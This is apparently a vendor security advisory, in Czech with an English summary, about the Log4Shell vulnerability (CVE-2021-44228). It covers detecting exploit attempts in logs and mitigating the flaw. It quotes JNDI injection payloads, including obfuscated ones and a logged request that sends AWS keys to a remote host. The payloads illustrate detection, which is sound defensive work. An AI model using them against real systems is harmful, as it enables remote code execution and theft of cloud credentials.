Log4j zranitelnost / Log4j vulnerability

Log4j zranitelnost / Log4j vulnerability

Ahoj,

první předem položená otázka, na kterou se s největší pravděpodobností budete chtít zeptat: Je řešení LOGmanager nebo nějaká jeho komponenta zranitelná dle popisu CVE-2021-44228?

Odpověď: LOGmanager, LOGmanager forwarder ani LOGmanager Windows Agent nejsou zranitelné. LOGmanager v software verze 3.x neobsahuje zranitelnou verzi Log4j, ostatní komponenty  LOGmanager řešení neobsahují Java vůbec.


Nyní něco blíže k vlastnímu problému a možnosti využití LOGmanageru na detekci pokusů volat zranitelnost nebo detekovat zneužití zranitelnosti. Vlastní zranitelnost je způsobena funkcí Message Lookup Substitution v Log4j, kde jsou nesprávně ošetřené vstupy a vhodně naformátovaným požadavkem je možné donutit server ke vzdálenému spuštění škodlivého kódu. V případě webových aplikací může v jakékoli části HTTP zalogované komunikace být obsažen řetězec, který odkazuje na škodlivý server v následujícím formátu:

${jndi:[protocol]://[remote server]}

řetězec může být součástí URL např. jako parametr nebo může být ukrytý v hlavičce HTTP požadavku – příklady:

/?x=${jndi:ldap://remote_server/} 
referer=${jndi:dns://remote_server}

V LOGmanageru je možné podezřelé logy lze nalézt pouhým vyhledáváním řetězce „jndi“ (jndi – Java Naming and Directory Interface – v podstatě jde o volání API Log4j):

Podezřelé logy je pak třeba ručně projít a zkontrolovat. Nejčastěji se prozatím řetězec vyskytuje v poli User-Agent (msg.useragent), ale může se vyskytovat v podstatě kdekoliv.

Asi největším problémem je vysoká pravděpodobnost enkódování a obfuskace řetězce. Obfuskovaný řetězec může vypadat např. takto:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${:: -a}${::-p}:// remote_server}

V tomto případě už je nereálné řetězec vyhledat běžným způsobem.

Napsali jsme pro Vás alert, který dělá v rámci možností de-obfuskaci a upozornění na výskyt hledaného řetězce, který naleznete na uživatelském fóru zde:

https://forum.logmanager.cz/viewtopic.php?f=7&t=168

Nicméně tento alert zachycuje zalogované a alertem de-obfuskované pokusy o volání této zranitelnosti bez zpětné vazby na úspěšnost volání zranitelnosti.

Rozumější přístup je okamžitě odstavit veškeré systémy, které mají danou zranitelnost a provést jejich aktualizaci. Případně, alespoň dočasně do provedení aktualizací, využít řešení pro kontrolu a ochranu sítového provozu na aplikační vrstvě, jako jsou IPS, UTM, WAF a podobně. Je nutné využívat pro provádění kontrolu i s použitím SSL inspekce všude, kde je to alespoň trochu možné. Ale i zde řešení nemusí být 100%, protože záleží na schopnosti aplikační inspekce provést de-obfuskaci ve všech případech správně. Můžete se totiž setkat i s používáním proměnných prostředí. Jak na to zareagují IPS, případně WAF je otázkou.

Smutný příklad možného volání zranitelnosti, kde pochybujeme, že účinnost aplikační inspekce bude 100% může být například toto:

GET /a1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP}/dupa123/MASKED_HOST:80/gp/${env:USER}/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234} HTTP/1.1" 302 455 "aaaaa1${${env:lsweqw:-j}ndi $ {env: lsweqw: -:} $ {env: lsweqw: -r} mi $ {env: lsweqw: -:}//1[MASKED_IP}:1099/dupa123/MASKED_HOST:80/gr/${env:USER}/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}" "aaaaa1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP]/dupa123/MASKED_HOST:80/ga/${env:USER}/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}

Jako alternativa k hledání daného vektoru útoku může být hledání C&C komunikace v logách z firewallu systémem hledání dlouhých nebo často se opakujících TCP spojení na z vnitřních bezpečnostních segmentů na IP/PTR z internetu. Bližší informace k této možnosti již brzy naleznete na našem uživatelském fóru.


Aktualizace 14.12.2021

Tak na uživatelském fóru jsou již 3 návody – 1 alert a dva dashboardy umožňující prohledat logy i zpětně.
Nicméně vzhledem k extrémně rychlému růstu variant obfuskací doporučujeme následující:

  • Aktualizovat vše, co lze, s největší prioritou na Apache Log4j verze 2.15.0
  • V případě, že nelze aktualizovat, ale lze nastavit alespoň jeden z následujících parametrů systému:
    • system property formatMsgNoLookups na true
    • nastavit JVM parametr Dlog4j.formatMsgNoLookups=true
    • odebrat JndiLookup class z classpath
  • Co nelze okamžitě aktualizovat ani nastavit parametry, tak do aktualizace na systém omezit přístup z internetu a izolovat

Aktualizace 16.12.2021

K updatování komponenty Log4j na verzi 2.15 nebo vyšší: Ve verzi 2.15 se ovšem také prorojevily další zranitelnosti (zranitelnost na DoS útok a na exfiltraci), které byly následně ihned opraveny ve verzi 2.16. S ohledem na tuto skutečnost tedy výrazně doporučujeme aktualizaci rovnou na verzi 2.16.


Miroslav Knapovský a Dan Podrazský

Hi Folks,

Shortly: LOGmanager and any of its components, including LOGmanager Forwarder and LOGmanager Windows Event Sender (WES) are not vulnerable to CVE-2021-44228.

We prepared a possible alert to detect calling of this vulnerability from virtually any logs.

You can find it on our user forum here: https://forum.logmanager.cz/viewtopic.php?f=7&t=168

More updates in English hopefully soon.

Best regards

Miroslav Knapovský

 

logo
© 2022 Sirwisa a. s. Všechna práva vyhrazena.